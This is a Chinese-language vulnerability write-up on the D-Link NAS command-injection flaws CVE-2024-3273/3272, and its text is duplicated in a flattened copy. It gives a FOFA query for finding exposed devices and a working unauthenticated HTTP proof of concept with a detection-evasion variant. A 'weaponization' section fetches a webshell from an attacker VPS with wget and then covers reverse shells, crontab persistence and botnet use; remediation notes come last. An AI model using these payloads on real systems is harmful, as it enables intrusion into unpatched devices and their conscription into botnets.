这真的不是后门吗?D-Link NAS 远程命令执行 (CVE-2024-3273/CVE-2024-3272) 漏洞分析
字数 1324 2025-08-23 18:31:34

D-Link NAS 远程命令执行漏洞分析 (CVE-2024-3273/CVE-2024-3272) 教学文档

漏洞概述

本漏洞影响D-Link NAS全线产品,允许攻击者通过未授权远程命令执行获取设备控制权。漏洞存在于/cgi-bin/nas_sharing.cgi文件中,由于对messagebus用户的空密码认证绕过导致。

漏洞复现

环境准备

  1. 使用FOFA搜索目标:_fid="hWN+yVVhLzKJaLkd/ITHpA==" && Country !="CN"
  2. 工具准备:

POC测试

发送以下HTTP请求:

GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)
Accept-Encoding: identity
Accept: */*
Connection: keep-alive

其中:

  • system参数值为Base64编码的命令(示例中aWQ=id命令的Base64编码)
  • 成功执行会返回命令执行结果

优化POC

更隐蔽的payload格式:

cmd=15&id1=messagebus&id2=&system=aWQ=

这种形式可以绕过某些安全设备的检测。

漏洞分析

固件获取

D-Link DNS-340L固件下载地址:

https://media.dlink.eu/support/products/dns/dns-340l/driver_software/dns-340l_fw_reva1_1-08_eu_multi_20180731.zip

固件解包

使用binwalk解包:

binwalk -Me DNS340.bin

解压后关键文件路径:squashfs-root/cgi/nas_sharing.cgi

代码分析

主要流程

  1. 程序入口为cgiMain函数
  2. 获取传入参数:
    • cmd:决定执行的操作(漏洞利用使用cmd=15
    • user/passwdid1/id2:认证凭据
    • system:要执行的命令(Base64编码)

认证绕过分析

  1. 认证函数sub_1E1CC逻辑:

    • 检查用户名是否在预定义列表中(rootsshd被排除)
    • 检查用户名是否在/etc/shadow
    • 对密码进行哈希校验
  2. messagebus用户特性:

    • /etc/shadow中的哈希为`$1

\[qRPK7m23GJusamGpoGLby/`(空密码) - 程序中没有`root`和`sshd`的指针,但`messagebus`可用 - 空密码直接通过认证 #### 命令执行流程 1. 获取`system`参数值 2. 使用`sub_1DD88`进行Base64解码 3. 调用`system()`函数执行解码后的命令 4. 返回执行结果 ## 武器化利用 ### 基本利用 1. 上传Webshell: ``` system=$(echo -n "wget http://vps/wodema.php -O /var/www/cgi-bin/wodema.php" | base64) ``` 2. 访问webshell: ``` http://target/cgi-bin/wodema.php ``` ### 注意事项 - 冰蝎和蚁剑马连接可能失败,但手工发送payload可以工作 - PHP反弹shell可能失败,但能收到TCP包 - MSFVenom生成的payload可以成功执行 ### 持久化方法 1. 写入crontab实现持久化 2. 用作僵尸网络节点 ## 修复建议 ### 临时修复方案 1. 通过漏洞或UART Console修改`messagebus`用户密码 ```bash passwd messagebus ``` ### 根本修复方案 1. 修改固件,移除`messagebus`用户的指针 2. 加强认证逻辑,禁止空密码登录 ## 未解问题 1. 为何过滤空格导致含空格的命令无法执行? 2. 为何蚁剑和冰蝎无法正常连接,但手工payload可以工作? ## 总结 该漏洞危害严重,利用简单,影响D-Link NAS全线产品。由于厂商已停止维护,建议用户采取网络隔离或更换设备等防护措施。漏洞利用关键在于`messagebus`用户的空密码认证绕过和未过滤的命令执行功能。\]

D-Link NAS 远程命令执行漏洞分析 (CVE-2024-3273/CVE-2024-3272) 教学文档 漏洞概述 本漏洞影响D-Link NAS全线产品,允许攻击者通过未授权远程命令执行获取设备控制权。漏洞存在于 /cgi-bin/nas_sharing.cgi 文件中,由于对 messagebus 用户的空密码认证绕过导致。 漏洞复现 环境准备 使用FOFA搜索目标: _fid="hWN+yVVhLzKJaLkd/ITHpA==" && Country !="CN" 工具准备: GitHub工具: Chocapikk/CVE-2024-3273 Yakit工具 POC测试 发送以下HTTP请求: 其中: system 参数值为Base64编码的命令(示例中 aWQ= 是 id 命令的Base64编码) 成功执行会返回命令执行结果 优化POC 更隐蔽的payload格式: 这种形式可以绕过某些安全设备的检测。 漏洞分析 固件获取 D-Link DNS-340L固件下载地址: 固件解包 使用binwalk解包: 解压后关键文件路径: squashfs-root/cgi/nas_sharing.cgi 代码分析 主要流程 程序入口为 cgiMain 函数 获取传入参数: cmd :决定执行的操作(漏洞利用使用 cmd=15 ) user / passwd 或 id1 / id2 :认证凭据 system :要执行的命令(Base64编码) 认证绕过分析 认证函数 sub_1E1CC 逻辑: 检查用户名是否在预定义列表中( root 和 sshd 被排除) 检查用户名是否在 /etc/shadow 中 对密码进行哈希校验 messagebus 用户特性: 在 /etc/shadow 中的哈希为 $1$$qRPK7m23GJusamGpoGLby/ (空密码) 程序中没有 root 和 sshd 的指针,但 messagebus 可用 空密码直接通过认证 命令执行流程 获取 system 参数值 使用 sub_1DD88 进行Base64解码 调用 system() 函数执行解码后的命令 返回执行结果 武器化利用 基本利用 上传Webshell: 访问webshell: 注意事项 冰蝎和蚁剑马连接可能失败,但手工发送payload可以工作 PHP反弹shell可能失败,但能收到TCP包 MSFVenom生成的payload可以成功执行 持久化方法 写入crontab实现持久化 用作僵尸网络节点 修复建议 临时修复方案 通过漏洞或UART Console修改 messagebus 用户密码 根本修复方案 修改固件,移除 messagebus 用户的指针 加强认证逻辑,禁止空密码登录 未解问题 为何过滤空格导致含空格的命令无法执行? 为何蚁剑和冰蝎无法正常连接,但手工payload可以工作? 总结 该漏洞危害严重,利用简单,影响D-Link NAS全线产品。由于厂商已停止维护,建议用户采取网络隔离或更换设备等防护措施。漏洞利用关键在于 messagebus 用户的空密码认证绕过和未过滤的命令执行功能。